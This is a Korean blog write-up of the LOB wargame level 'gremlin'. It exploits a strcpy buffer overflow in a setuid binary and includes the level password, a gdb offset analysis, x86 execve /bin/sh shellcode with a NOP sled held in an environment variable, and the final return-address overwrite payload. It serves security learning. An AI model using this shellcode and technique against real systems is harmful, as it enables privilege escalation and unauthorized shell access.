본문 바로가기

/LOB

LOB #2 gremlin

ID : gremlin

Passwd : hello bof world

cobolt에 gremlin 다음 level의 setuid가 걸려있는 것 확인 가능!

cobolt.c를 확인하면,

cobolt.c

strcpy함수를 사용해서  버퍼오버플로우 취약점이 있는 것을 확인할 수 있다.

gdb로 main 함수를 디버깅해보면,

main 함수 디버깅

<main+48>에서 strcpy 함수를 호출하는데 인자로 주는 push 값을 보면 %eax=[ebp-16] 인 것을 확인할 수 있다.

즉, ret와 buffer 사이의 거리가 16bytes임을 알 수 있다 (자세한 이유는 LOB #1에 설명해놓음!)

구조를 그려보면,

위와 같이되며, 16(Buffer)+4(sfp)=20bytes만큼을 다른 데이터로 채워주고 ret값이 4byte를 쉘코드 주소로 변경해주면 exploit이 가능하다!

 

쉘코드 주소를 구하기 위해 환경 변수를 등록하고 주소값을 구해보자!

<환경변수 등록>

export SHELL2=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

 

<환경변수 주소를 구하는 C코드>

#include 
#include 

int main(int argc, char *argv[1]){
char *env;

env=getenv("SHELL2");
printf("address = %p\n",env);

return 0;
}

 

<결과>

쉘코드 주소 = 0xbffffc64

 

<payload 작성>

위의 그림을 토대로 payload를 작성하면, (쉘코드 주소 = 0xbffffc64)

./cobolt `python –c ‘print “A”*20+”\x64\xfc\xff\xbf”’`

가 된다.

 

exploit 해보면,

성공적으로 euid가 상승하고, 다음 level의 비밀번호를 확인가능하다!

'Write Up > LOB' 카테고리의 다른 글

LOB #5 orc  (0) 2019.11.11
LOB #4 goblin - argv[2] + NOP Sled이용  (0) 2019.11.11
LOB #4 goblin - NOP Sled 이용  (0) 2019.11.11
LOB #3 cobolt  (0) 2019.10.10
LOB #1 gate  (0) 2019.10.04